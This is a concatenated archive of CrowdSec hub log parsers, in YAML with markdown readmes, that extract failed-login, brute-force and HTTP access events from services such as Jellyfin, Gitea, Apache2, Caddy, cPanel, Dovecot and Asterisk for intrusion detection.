AUTHELIA_CLF_DUO: '^time="%{RFC3339:timestamp}".*?%{AUTHELIA_BAD_DUO}.*?remote_ip=%{IP:remote_ip}' AUTHELIA_CLF_TOTP: '^time="%{RFC3339:timestamp}".*?%{AUTHELIA_BAD_TOTP}.*?remote_ip=%{IP:remote_ip}' nodes: - grok: name: "AUTHELIA_CLF_BADAUTH" apply_on: message statics: - meta: log_type value: authelia_failed_clf_auth - grok: name: "AUTHELIA_CLF_DUO" apply_on: message statics: - meta: log_type value: authelia_failed_clf_auth - grok: name: "AUTHELIA_CLF_TOTP" apply_on: message statics: - meta: log_type value: authelia_failed_clf_auth - grok: nodes: - grok: pattern: Unsuccessful (1FA|Duo|TOTP) authentication attempt by user '(%{EMAILADDRESS:email}|%{USERNAME:username})' expression: JsonExtract(evt.Parsed.message, "msg") statics: - meta: log_type value: authelia_failed_json_auth - grok: pattern: '%{IP:remote_ip}' expression: JsonExtract(evt.Parsed.message, "remote_ip") - grok: pattern: '%{RFC3339:timestamp}' expression: JsonExtract(evt.Parsed.message, "time") statics: - meta: service value: authelia - meta: user expression: "evt.Parsed.username" - meta: user expression: "evt.Parsed.email" - target: evt.StrTime expression: evt.Parsed.timestamp - meta: source_ip expression: "evt.Parsed.remote_ip"hub1/parsers/s01-parse/LePresidente/emby-logs.md000066400000000000000000000001671437532772500217350ustar00rootroot00000000000000Parser for [emby](https://emby.media) Logs. ```yaml --- filenames: - /var/log/embyserver.txt labels: type: emby ```hub1/parsers/s01-parse/LePresidente/emby-logs.yaml000066400000000000000000000010411437532772500222670ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/emby-logs description: "Parse emby logs" filter: "evt.Parsed.program == 'emby'" nodes: - grok: pattern: '%{TIMESTAMP_ISO8601:timestamp}.*?AUTH-ERROR: %{IP:source_ip} - Invalid username or password entered\.$' apply_on: message statics: - meta: log_type value: emby_failed_auth statics: - meta: service value: emby - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/LePresidente/gitea-logs.md000066400000000000000000000001621437532772500220650ustar00rootroot00000000000000Parser for [Gitea](https://gitea.io) Logs. ```yaml --- filenames: - /var/log/gitea.log labels: type: gitea ```hub1/parsers/s01-parse/LePresidente/gitea-logs.yaml000066400000000000000000000014041437532772500224270ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/gitea-logs filter: "evt.Parsed.program == 'gitea'" description: "Parse gitea logs" pattern_syntax: GITEA_CUSTOMUSER: "(%{EMAILADDRESS}|%{USERNAME})" GITEA_CUSTOMDATE: "%{DATE_X} %{TIME}" nodes: - grok: pattern: '^%{GITEA_CUSTOMDATE:timestamp}.*?Failed authentication attempt for %{GITEA_CUSTOMUSER:username} from %{IP:remote_ip}:%{NUMBER:remote_port}: user does not exist' apply_on: message statics: - meta: log_type value: gitea_failed_auth statics: - meta: service value: gitea - meta: user expression: "evt.Parsed.username" - target: evt.StrTime expression: evt.Parsed.timestamp - meta: source_ip expression: "evt.Parsed.remote_ip"hub1/parsers/s01-parse/LePresidente/jellyfin-logs.md000066400000000000000000000002061437532772500226070ustar00rootroot00000000000000Parser for [Jellyfin](https://jellyfin.org) Logs. ```yaml --- filenames: - /var/log/jellyfin/log_*.log labels: type: jellyfin ```hub1/parsers/s01-parse/LePresidente/jellyfin-logs.yaml000066400000000000000000000014641437532772500231600ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/jellyfin-logs description: "Parse jellyfin logs" filter: "evt.Parsed.program == 'jellyfin'" pattern_syntax: JELLYFIN_CUSTOMUSER: "(%{EMAILADDRESS}|%{USERNAME})" JELLYFIN_CUSTOMDATE: "%{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:%{MINUTE}:%{SECOND}" nodes: - grok: pattern: '\[%{JELLYFIN_CUSTOMDATE:timestamp}.*\].*Authentication request for "%{JELLYFIN_CUSTOMUSER:username}" has been denied \(IP: "%{IP:source_ip}"\).*' apply_on: message statics: - meta: log_type value: jellyfin_failed_auth statics: - meta: service value: jellyfin - meta: user expression: "evt.Parsed.username" - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/LePresidente/jellyseer-logs.md000066400000000000000000000003011437532772500227650ustar00rootroot00000000000000Parser for [JellySeerr](https://github.com/Fallenbagel/jellyseerr) Logs. ```yaml --- source: docker container_name: - jellyseerr #container_id: # - 843ee92d231b labels: type: jellyseerr ```hub1/parsers/s01-parse/LePresidente/jellyseerr-logs.yaml000066400000000000000000000032031437532772500235150ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/jellyseerr-logs description: "Parse jellyseerr logs" filter: "evt.Parsed.program == 'jellyseerr'" pattern_syntax: JELLYSEERR_CUSTOMUSER: "(%{EMAILADDRESS}|%{USERNAME})" nodes: - grok: pattern: '%{RFC3339:timestamp}.*Failed sign-in attempt using invalid .* password.*{"ip":"::ffff:%{IP:source_ip}","email":"%{JELLYSEERR_CUSTOMUSER:username}"}' apply_on: message statics: - meta: log_type value: jellyseerr_failed_auth - grok: pattern: '%{RFC3339:timestamp}.*Failed login attempt from user with incorrect.*credentials {"account":{"ip":"::ffff:%{IP:source_ip}","email":"%{JELLYSEERR_CUSTOMUSER:username}","password":"__REDACTED__"}}' apply_on: message statics: - meta: log_type value: jellyseerr_failed_auth - grok: pattern: '%{RFC3339:timestamp}.*Failed sign-in attempt using invalid .* password.*{"ip":"%{IP:source_ip}","email":"%{JELLYSEERR_CUSTOMUSER:username}"}' apply_on: message statics: - meta: log_type value: jellyseerr_failed_auth - grok: pattern: '%{RFC3339:timestamp}.*Failed login attempt from user with incorrect.*credentials {"account":{"ip":"%{IP:source_ip}","email":"%{JELLYSEERR_CUSTOMUSER:username}","password":"__REDACTED__"}}' apply_on: message statics: - meta: log_type value: jellyseerr_failed_auth statics: - meta: service value: jellyseerr - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.username" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/LePresidente/ombi-logs.md000066400000000000000000000001641437532772500217240ustar00rootroot00000000000000Parser for [Ombi](https://ombi.io) Logs. ```yaml --- filenames: - /var/log/ombi/log-*.txt labels: type: ombi ```hub1/parsers/s01-parse/LePresidente/ombi-logs.yaml000066400000000000000000000010161437532772500222630ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/ombi-logs description: "Parse ombi logs" filter: "evt.Parsed.program == 'ombi'" nodes: - grok: pattern: '%{TIMESTAMP_ISO8601:timestamp}.*?Failed login attempt by IP: %{IP:source_ip}' apply_on: message statics: - meta: log_type value: ombi_auth_failed statics: - meta: service value: ombi - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/a1ad/000077500000000000000000000000001437532772500157345ustar00rootroot00000000000000hub1/parsers/s01-parse/a1ad/meshcentral-logs.md000066400000000000000000000005171437532772500215300ustar00rootroot00000000000000Parser for [Meshcentral](https://www.meshcommander.com/meshcentral2) Auth Logs. You need to add the following in the Meshcentral config file before Meshcentral starts logging: "authLog": "/opt/meshcentral/meshcentral-data/auth.log" ```yaml --- filenames: - /opt/meshcentral/meshcentral-data/auth.log labels: type: meshcentral ``` hub1/parsers/s01-parse/a1ad/meshcentral-logs.yaml000066400000000000000000000014321437532772500220670ustar00rootroot00000000000000 onsuccess: next_stage #debug: false name: a1ad/meshcentral-logs description: "Parse meshcentral logs" filter: "evt.Parsed.program == 'meshcentral'" pattern_syntax: MESHCENTRAL_CUSTOMUSER: "(%{EMAILADDRESS}|%{USERNAME})" MESHCENTRAL_CUSTOMDATE: "%{MONTH} %{MONTHDAY} %{HOUR}:%{MINUTE}:%{SECOND}" nodes: - grok: pattern: '%{MESHCENTRAL_CUSTOMDATE:timestamp}.*Failed password for %{MESHCENTRAL_CUSTOMUSER:username} from %{IP:source_ip}.*' apply_on: message statics: - meta: log_type value: meshcentral_failed_auth statics: - meta: service value: meshcentral - meta: user expression: "evt.Parsed.username" - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: evt.Parsed.timestamp hub1/parsers/s01-parse/aderumier/000077500000000000000000000000001437532772500171035ustar00rootroot00000000000000hub1/parsers/s01-parse/aderumier/proxmox-iptables-logs.md000066400000000000000000000004431437532772500237050ustar00rootroot00000000000000A parser for proxmox iptables format `-j NFLOG --nflog-prefix '$vmid:$loglevel:$chain: $msg'`: - Only parse kernel messages containing `-IN=`, specific to proxmox (-IN) - Skip lines if decisions is `ACCEPT` or `PVEFW-SET-ACCEPT-MARK` - All logged packets are considered as DROPs. hub1/parsers/s01-parse/aderumier/proxmox-iptables-logs.yaml000066400000000000000000000020521437532772500242450ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.message contains 'PVEFW-reject' or evt.Parsed.message contains 'DROP' or evt.Parsed.message contains 'REJECT'" debug: false name: aderumier/proxmox-iptables-logs description: "Parse proxmox iptables drop logs" grok: pattern: "^%{NOTSPACE:vmid} %{NOTSPACE:loglevel} %{NOTSPACE:int_eth}-IN %{HTTPDATE:logdate} (policy )?%{NOTSPACE:action}:( IN=%{DATA:iface})?( OUT=%{DATA:oface})?( PHYSIN=%{DATA:physin})?( PHYSOUT=%{DATA:physout})?( MAC=%{MAC:dst_mac}:%{MAC}%{NOTSPACE})? SRC=%{IP:src_ip} DST=%{IP:dst_ip} LEN=%{INT:data_length}( TOS=0x%{BASE16NUM:tos})?( PREC=0x%{BASE16NUM:prec})?( TC=%{INT})?( FLOWLBL=%{INT})?( HOPLIMIT=%{INT:ttl})?( TTL=%{INT:ttl})?( ID=%{INT:id})?( %{WORD})? PROTO=%{NOTSPACE:proto}( SPT=%{INT:src_port})?( DPT=%{INT:dst_port})?( LEN=%{INT:data_length})?( SEQ=%{INT})?( ACK=%{INT:ack})?( WINDOW=%{INT})?( %{WORD:tcp_flags})?" apply_on: message statics: - meta: service value: tcp - meta: log_type value: iptables_drop - meta: source_ip expression: "evt.Parsed.src_ip" hub1/parsers/s01-parse/baudneo/000077500000000000000000000000001437532772500165435ustar00rootroot00000000000000hub1/parsers/s01-parse/baudneo/gotify-logs.md000066400000000000000000000025211437532772500213300ustar00rootroot00000000000000# Description A parser that will search for unauthorized (401) status code in a log file that gotify is outputting its stdout to. From testing it seems gotify returns a 401 for unknown user, bad password, and incorrect tokens. There is no way to determine which is which so this parser will only search for 401 status code. # HOW TO INSTALL PROPERLY - REQUIRED - example `acquis.yaml` entry - The `type` **MUST** be exactly as shown here or the parser will never be successful. ```yaml filenames: - /path/to/gotify.log labels: type: gotify ``` :exclamation: The `type` **MUST** be `gotify` :exclamation: # Statics - The IP is the only data grabbed from the log and is stored in `evt.Parsed.source_ip` and `evt.Meta.source_ip` # How to - Have Gotify (Docker) log to a file - You must create your own `Dockerfile` and then build it. Example Dockerfile as follows. ```Dockerfile FROM gotify/server ENTRYPOINT /bin/bash -c '/app/gotify-app | tee /app/data/gotify.log' ``` - Build the image `sudo docker build -t ` - Example `` - server/gotify:logger - Now make a docker-compose file to use the image, the log file will end up in the `gotify_data` directory ```docker gotify: image: gotify/server:logger container_name: gotify restart: always ports: - 8080:80 volumes: - "./gotify_data:/app/data" ``` hub1/parsers/s01-parse/baudneo/gotify-logs.yaml000066400000000000000000000015461437532772500217000ustar00rootroot00000000000000#filter: '1 == 1' # For hub tests filter: evt.Parsed.program == "gotify" # Production #debug: true onsuccess: next_stage name: baudneo/gotify-logs description: parser for Gotify server pattern_syntax: GOTIFY_SEPERATOR: '%{SPACE}\|%{SPACE}' GOTIFY_401: '^\[GIN\]\s*%{YEAR:year}/%{MONTHNUM:month}/%{NUMBER:day}%{SPACE}[-]%{SPACE}%{TIME:time}%{GOTIFY_SEPERATOR}401%{GOTIFY_SEPERATOR}%{DATA:request_time_took}%{GOTIFY_SEPERATOR}%{IP:source_ip}%{GOTIFY_SEPERATOR}%{WORD:request_type}%{SPACE}"%{DATA:endpoint}"' nodes: - grok: name: "GOTIFY_401" apply_on: message statics: - meta: log_type value: gotify_failed_auth - target: StrTime expression: |- evt.Parsed.year+ "/" + evt.Parsed.month + "/" + evt.Parsed.day + " " + evt.Parsed.time statics: - meta: source_ip expression: evt.Parsed.source_ip hub1/parsers/s01-parse/baudneo/zoneminder-logs.md000066400000000000000000000013741437532772500222060ustar00rootroot00000000000000# Description A parser that searches for unknown user and incorrect password logins to ZoneMinder by using `web_php.log` as a data source. Now supports new PHP date format; DEFAULT US/CAN format. # HOW TO INSTALL PROPERLY - REQUIRED - example `acquis.yaml` entry - the `type` must be exactly as shown here or the parser will never be successful. ***The log path is the default path on a debian based distro, change to point towards where your ZoneMinder `web_php.log` is*** ```yaml filenames: - /var/log/zm/web_php.log labels: type: zoneminder ``` :exclamation: The `type` **MUST** be `zoneminder` :exclamation: # Statics - IP is logged as `evt.Parsed.source_ip` and `evt.Meta.source_ip` - Username is logged as `evt.Parsed.username` and `evt.Meta.username` hub1/parsers/s01-parse/baudneo/zoneminder-logs.yaml000066400000000000000000000041561437532772500225510ustar00rootroot00000000000000#filter: '1==1' # Testing filter: evt.Parsed.program == "zoneminder" # Production #debug: true onsuccess: next_stage name: baudneo/zoneminder-logs description: A parser for zoneminder web_php.log (Logins to DB/Web), now supports default PHP intl date format pattern_syntax: ZM_TIME: '2[0123]|[01]?[0-9]:[0-5][0-9]:(?:[0-5]?[0-9]|60)\s?(AM|PM [A-Z]{3})?\.[0-9]{6}' ZM_BADUSER: '^%{MONTHNUM:month}[/-]%{MONTHDAY:day}[/-]%{YEAR:year},?[- ]%{ZM_TIME:time} web_php\[\d+]\.[A-Z]{3} \[(%{IP:source_ip})\]\s\[Could not retrieve user %{DATA:username} details\]' ZM_BADPASSWORD: '^%{MONTHNUM:month}[/-]%{MONTHDAY:day}[/-]%{YEAR:year},?[- ]%{ZM_TIME:time} web_php\[\d+]\.[A-Z]{3} \[(%{IP:source_ip})\]\s\[Login denied for user \"%{DATA:username}\"\]' ##NEW BAD USER# 12/17/22, 10:31:29 PM MST.557710 web_php[254894].ERR [10.0.1.5] [Could not retrieve user aaaa details] at /usr/share/zoneminder/www/includes/auth.php line 395 ##NEW BAD PASS# 01/06/22, 10:31:29 PM MST.557710 web_php[688].ERR [99.1.1.1] [Login denied for user "validuser"] at /usr/share/zoneminder/www/includes/auth.php line 313 ##OLD BAD USER# 01/06/22 09:26:15.117434 web_php[258].ERR [99.1.1.1] [Could not retrieve user testuser details] at /usr/share/zoneminder/www/includes/auth.php line 313 ##OLD BAD PASS# 01/06/22 09:27:39.843338 web_php[688].ERR [99.1.1.1] [Login denied for user "validuser"] at /usr/share/zoneminder/www/includes/auth.php line 313 nodes: - grok: name: "ZM_BADPASSWORD" apply_on: message statics: - meta: log_type value: zm_failed_auth - meta: log_subtype value: zm_bad_password - meta: username expression: evt.Parsed.username - grok: name: "ZM_BADUSER" apply_on: message statics: - meta: log_type value: zm_failed_auth - meta: log_subtype value: zm_bad_user - meta: username expression: evt.Parsed.username statics: - meta: source_ip expression: evt.Parsed.source_ip - target: StrTime expression: |- "20" + evt.Parsed.year + "/" + evt.Parsed.month + "/" + evt.Parsed.day + " " + evt.Parsed.time hub1/parsers/s01-parse/crowdsecurity/000077500000000000000000000000001437532772500200345ustar00rootroot00000000000000hub1/parsers/s01-parse/crowdsecurity/apache2-logs.md000066400000000000000000000012021437532772500226160ustar00rootroot00000000000000This apache2 parser support access and error logs in the HTTPD COMBINED LOG standard format, with the following possible modifications : - An optional IP or FQDN can be present as the first element of line, and will be stored in `target_fqdn`. This is meant for multi-tenant / aggregated logs. - `referrer` and `user_agent` have been made optional for more epurated logging formats *note :* If you are aggregating logs from several domains, prefix your logline with the target FQDN. HTTP based scenarios should take this into account so that buckets are _per_ source IP per target FQDN, limiting false positives due to logs multiplexing. hub1/parsers/s01-parse/crowdsecurity/apache2-logs.yaml000066400000000000000000000064211437532772500231700ustar00rootroot00000000000000#Apache access/errors logs #debug: true filter: "evt.Parsed.program startsWith 'apache2'" onsuccess: next_stage name: crowdsecurity/apache2-logs description: "Parse Apache2 access and error logs" #log line can be prefixed by a target_fqdn nodes: - grok: pattern: '(%{IPORHOST:target_fqdn}(:%{INT:port})? )?%{COMMONAPACHELOG}( "%{NOTDQUOTE:referrer}" "%{NOTDQUOTE:http_user_agent}")?' apply_on: message # these ones apply for both grok patterns statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.timestamp - meta: service value: http - meta: source_ip expression: evt.Parsed.clientip - meta: http_status expression: evt.Parsed.response - meta: http_path expression: evt.Parsed.request - meta: http_verb expression: "evt.Parsed.verb" - meta: http_user_agent expression: "evt.Parsed.http_user_agent" - meta: target_fqdn expression: "evt.Parsed.target_fqdn" onsuccess: next_stage - grok: pattern: '%{HTTPD_ERRORLOG}' apply_on: message onsuccess: next_stage pattern_syntax: NOT_DOUBLE_POINT: '[^:]+' NOT_DOUBLE_QUOTE: '[^"]+' nodes: - filter: "evt.Parsed.module == 'auth_basic'" onsuccess: next_stage pattern_syntax: EXTRACT_USER_AND_PATH: 'user %{NOT_DOUBLE_POINT:username}: authentication failure for "%{NOT_DOUBLE_QUOTE:target_uri}": Password Mismatch' EXTRACT_USER_AND_PATH2: 'user %{NOT_DOUBLE_POINT:username} not found: "?%{NOT_DOUBLE_QUOTE:target_uri}"?' grok: pattern: '%{EXTRACT_USER_AND_PATH}|%{EXTRACT_USER_AND_PATH2}' apply_on: message # these ones apply for both grok patterns statics: - meta: username expression: evt.Parsed.username - meta: http_path expression: evt.Parsed.target_uri - meta: sub_type value: "auth_fail" - filter: "evt.Parsed.module == 'core' && evt.Parsed.message contains 'Invalid URI'" onsuccess: next_stage pattern_syntax: EXTRACT_URIVERB: 'Invalid URI in request %{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})' grok: pattern: '%{EXTRACT_URIVERB}' apply_on: message statics: - meta: http_path expression: evt.Parsed.request - meta: sub_type value: "invalid_uri" - filter: "evt.Parsed.module == 'authz_core' && evt.Parsed.message contains 'client denied'" onsuccess: next_stage pattern_syntax: EXTRACT_PATH: 'client denied by server configuration: %{GREEDYDATA:target_uri}' grok: pattern: '%{EXTRACT_PATH}' apply_on: message statics: - meta: http_path expression: evt.Parsed.target_uri - meta: sub_type value: "permission_denied" statics: - meta: log_type value: http_error-log - target: evt.StrTime expression: evt.Parsed.timestamp - meta: service value: http - meta: source_ip expression: evt.Parsed.client - meta: http_status expression: evt.Parsed.response hub1/parsers/s01-parse/crowdsecurity/asterisk-logs.md000066400000000000000000000001201437532772500231360ustar00rootroot00000000000000Parser for asterisk logs (parse only failed authentication logs for the moment).hub1/parsers/s01-parse/crowdsecurity/asterisk-logs.yaml000066400000000000000000000055011437532772500235100ustar00rootroot00000000000000name: crowdsecurity/asterisk-logs description: "Parse Asterisk logs" filter: "evt.Parsed.program == 'asterisk'" onsuccess: next_stage nodes: - grok: pattern: '\[%{DATA:timestamp}\] SECURITY\[%{NUMBER}\].* SecurityEvent="InvalidAccountID",EventTV="%{DATA:event_timestamp}",Severity="Error",Service="%{NOTDQUOTE:asterisk_service}",EventVersion="%{NUMBER}",AccountID="%{NOTDQUOTE:username}",SessionID="%{NOTDQUOTE:asterisk_session_id}",LocalAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:target_ip}/%{NUMBER:target_port}",RemoteAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:source_ip}/%{NUMBER:source_port}"' apply_on: message statics: - meta: log_type value: asterisk_failed_auth - target: evt.StrTime expression: evt.Parsed.timestamp - meta: target_user expression: evt.Parsed.username - meta: session_id expression: evt.Parsed.asterisk_session_id - meta: asterisk_service expression: evt.Parsed.asterisk_service - grok: pattern: '\[%{DATA:timestamp}\] SECURITY\[%{NUMBER}\].* SecurityEvent="ChallengeResponseFailed",EventTV="%{DATA:event_timestamp}",Severity="Error",Service="%{NOTDQUOTE:asterisk_service}",EventVersion="%{NUMBER}",AccountID="%{NOTDQUOTE:username}",SessionID="%{NOTDQUOTE:asterisk_session_id}",LocalAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:target_ip}/%{NUMBER:target_port}",RemoteAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:source_ip}/%{NUMBER:source_port}"' apply_on: message statics: - meta: log_type value: asterisk_failed_auth - target: evt.StrTime expression: evt.Parsed.timestamp - meta: target_user expression: evt.Parsed.username - meta: session_id expression: evt.Parsed.asterisk_session_id - meta: asterisk_service expression: evt.Parsed.asterisk_service - grok: pattern: '\[%{DATA:timestamp}\] SECURITY\[%{NUMBER}\].* SecurityEvent="InvalidPassword",EventTV="%{DATA:event_timestamp}",Severity="Error",Service="%{NOTDQUOTE:asterisk_service}",EventVersion="%{NUMBER}",AccountID="%{NOTDQUOTE:username}",SessionID="%{NOTDQUOTE:asterisk_session_id}",LocalAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:target_ip}/%{NUMBER:target_port}",RemoteAddress="IPV%{NUMBER}/(UDP|TCP)/%{IPORHOST:source_ip}/%{NUMBER:source_port}"' apply_on: message statics: - meta: log_type value: asterisk_failed_auth - target: evt.StrTime expression: evt.Parsed.timestamp - meta: target_user expression: evt.Parsed.username - meta: session_id expression: evt.Parsed.asterisk_session_id - meta: asterisk_service expression: evt.Parsed.asterisk_service statics: - meta: service value: asterisk - meta: source_ip expression: evt.Parsed.source_ip hub1/parsers/s01-parse/crowdsecurity/caddy-logs.md000066400000000000000000000012471437532772500224100ustar00rootroot00000000000000Parser for caddy logs. It expects the default key values for caddy logs. You need to specify caddy config to enable logging in a file: ```bash :80 { # Set this path to your site's directory. root * /usr/share/caddy # Enable the static file server. file_server # Another common task is to set up a reverse proxy: # reverse_proxy localhost:8080 # Or serve a PHP site through php-fpm: # php_fastcgi localhost:9000 log { output file /var/log/caddy/access.log } } ``` And then add in acquisition this : ```yaml --- filenames: - /var/log/caddy/access.log labels: type: caddy ```hub1/parsers/s01-parse/crowdsecurity/caddy-logs.yaml000066400000000000000000000042541437532772500227530ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'caddy'" onsuccess: next_stage # debug: true name: crowdsecurity/caddy-logs description: "Parse caddy logs" pattern_syntax: CUSTOMDATE: '%{DAY:day}, %{MONTHDAY:monthday} %{MONTH:month} %{YEAR:year} %{TIME:time} %{WORD:tz}' nodes: - nodes: - grok: pattern: '%{NOTSPACE} %{NOTSPACE} %{NOTSPACE} \[%{HTTPDATE:timestamp}\]%{DATA}' expression: JsonExtract(evt.Line.Raw, "common_log") statics: - target: evt.StrTime expression: evt.Parsed.timestamp - grok: pattern: "%{CUSTOMDATE:timestamp}" expression: JsonExtract(evt.Line.Raw, "resp_headers.Date[0]") statics: - target: evt.StrTime expression: evt.Parsed.day + " " + evt.Parsed.month + " " + evt.Parsed.monthday + " " + evt.Parsed.time + ".000000" + " " + evt.Parsed.year - grok: pattern: '%{IPORHOST:remote_addr}:%{NUMBER}' expression: JsonExtract(evt.Line.Raw, "request.remote_addr") - grok: pattern: '%{IPORHOST:remote_ip}' expression: JsonExtract(evt.Line.Raw, "request.remote_ip") - grok: pattern: '\["%{NOTDQUOTE:http_user_agent}\"]' expression: JsonExtract(evt.Line.Raw, "request.headers.User-Agent") statics: - meta: log_type value: http_access-log - meta: service value: http - meta: source_ip expression: evt.Parsed.remote_addr - meta: source_ip expression: evt.Parsed.remote_ip - meta: http_status expression: JsonExtract(evt.Line.Raw, "status") - meta: http_path expression: JsonExtract(evt.Line.Raw, "request.uri") - target: evt.Parsed.request #Add for http-logs enricher expression: JsonExtract(evt.Line.Raw, "request.uri") - parsed: verb expression: JsonExtract(evt.Line.Raw, "request.method") - meta: http_verb expression: JsonExtract(evt.Line.Raw, "request.method") - meta: http_user_agent expression: evt.Parsed.http_user_agent - meta: target_fqdn expression: JsonExtract(evt.Line.Raw, "request.host") - meta: sub_type expression: "JsonExtract(evt.Line.Raw, 'status') == '401' && JsonExtract(evt.Line.Raw, 'request.headers.Authorization[0]') startsWith 'Basic ' ? 'auth_fail' : ''"hub1/parsers/s01-parse/crowdsecurity/cowrie-logs.yaml000066400000000000000000000010311437532772500231450ustar00rootroot00000000000000onsuccess: next_stage name: cowrie-logs description: "Parse cowrie honeypots logs" filter: "evt.Parsed.program == 'cowrie'" grok: name: "COWRIE_NEW_CO" apply_on: message statics: - meta: service value: telnet - meta: log_type value: telnet_new_session - meta: source_ip expression: "evt.Parsed.source_ip" - meta: dest_ip expression: "evt.Parsed.dest_ip" - meta: dest_port expression: "evt.Parsed.dest_port" - parsed: "telnet_session" expression: "evt.Parsed.telnet_session"hub1/parsers/s01-parse/crowdsecurity/cpanel-logs.md000066400000000000000000000000301437532772500225530ustar00rootroot00000000000000Parser for cpanel logs. hub1/parsers/s01-parse/crowdsecurity/cpanel-logs.yaml000066400000000000000000000056451437532772500231360ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'cpanel'" name: crowdsecurity/cpanel-logs description: "Parse Cpanel logs" pattern_syntax: NO_DOUBLE_QUOTE: '[^"]+' CPANEL_HEADER: \[%{DATA:date} \+[0-9]+\] info \[(cpaneld|whostmgrd)\] %{IP:remote_addr} - %{NOTSPACE:username} "%{WORD:verb} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}" nodes: - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN cpaneld: brute force attempt \(user %{DATA}\) has locked out IP %{IP}' apply_on: message statics: - meta: log_type value: auth_bf_attempt - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN cpaneld: brute force attempt \(user %{DATA:target_user}\) has locked out IP %{IP}' apply_on: message statics: - meta: log_type value: auth_bf_log - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN cpaneld: invalid cpanel user %{DATA:target_user}' apply_on: message statics: - meta: log_type value: auth_bf_log - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN cpaneld: %{DATA:target_user} login is not permitted to cpaneld' apply_on: message statics: - meta: log_type value: auth_bf_log - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root' apply_on: message statics: - meta: log_type value: auth_bf_log - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{CPANEL_HEADER} FAILED LOGIN whostmgrd: user password incorrect' apply_on: message statics: - meta: log_type value: auth_bf_log - target: evt.StrTime expression: evt.Parsed.date - grok: # see https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files/ pattern: '%{IP:remote_addr} - %{NOTSPACE:username} \[%{DATE}:%{TIME} %{ISO8601_TIMEZONE}\] "%{WORD:verb} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}" %{INT:status} %{INT:request_body_length} "%{NOTSPACE:http_referer}" "%{NO_DOUBLE_QUOTE:http_user_agent}" "%{NO_DOUBLE_QUOTE:auth_method}" "%{NO_DOUBLE_QUOTE:x_forwarded_for}" %{NUMBER:server_port}' apply_on: message statics: - meta: log_type value: http_access-log statics: - meta: service value: http - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: http_path expression: "evt.Parsed.request" - meta: http_verb expression: "evt.Parsed.verb" - meta: http_user_agent expression: "evt.Parsed.http_user_agent" - meta: http_status expression: "evt.Parsed.status" - meta: username expression: "evt.Parsed.username"hub1/parsers/s01-parse/crowdsecurity/dovecot-logs.yaml000066400000000000000000000024531437532772500233310ustar00rootroot00000000000000#contribution by @ltsich onsuccess: next_stage debug: false filter: "evt.Parsed.program == 'dovecot'" name: crowdsecurity/dovecot-logs description: "Parse dovecot logs" nodes: - grok: pattern: "%{WORD:protocol}-login: %{DATA:dovecot_login_message}: user=<%{DATA:dovecot_user}>.*, rip=%{IP:dovecot_remote_ip}, lip=%{IP:dovecot_local_ip}" apply_on: message - grok: pattern: "auth-worker\\(%{INT}\\): pam\\(%{DATA:dovecot_user},%{IP:dovecot_remote_ip},?%{DATA}\\): (%{DATA}: )?%{DATA:dovecot_login_message}$" apply_on: message - grok: pattern: "auth-worker\\(%{INT}\\): conn unix:auth-worker \\(pid=%{INT},uid=%{INT}\\): auth-worker<%{INT}>: pam\\(%{DATA:dovecot_user},%{IP:dovecot_remote_ip},?%{DATA}\\): (%{DATA}: )?%{DATA:dovecot_login_message}$" apply_on: message - grok: pattern: "auth: passwd-file\\(%{DATA:dovecot_user},%{IP:dovecot_remote_ip}\\): (%{DATA}: )?%{DATA:dovecot_login_message}$" apply_on: message statics: - meta: log_type value: dovecot_logs - meta: source_ip expression: "evt.Parsed.dovecot_remote_ip" - meta: dovecot_login_result expression: "any(['Authentication failure', 'Password mismatch', 'password mismatch', 'auth failed', 'unknown user'], {evt.Parsed.dovecot_login_message contains #}) ? 'auth_failed' : ''" hub1/parsers/s01-parse/crowdsecurity/dropbear-logs.md000066400000000000000000000000371437532772500231160ustar00rootroot00000000000000Parser for dropbear SSH server.hub1/parsers/s01-parse/crowdsecurity/dropbear-logs.yaml000066400000000000000000000011221437532772500234540ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'dropbear'" name: crowdsecurity/dropbear-logs description: "Parse dropbear logs" nodes: - grok: pattern: "Bad PAM password attempt for '%{DATA:user}' from %{IP:source_ip}:%{INT:port}" apply_on: message - grok: pattern: "Login attempt for nonexistent user from %{IP:source_ip}:%{INT:port}" apply_on: message statics: - meta: service value: dropbear - meta: target_user expression: 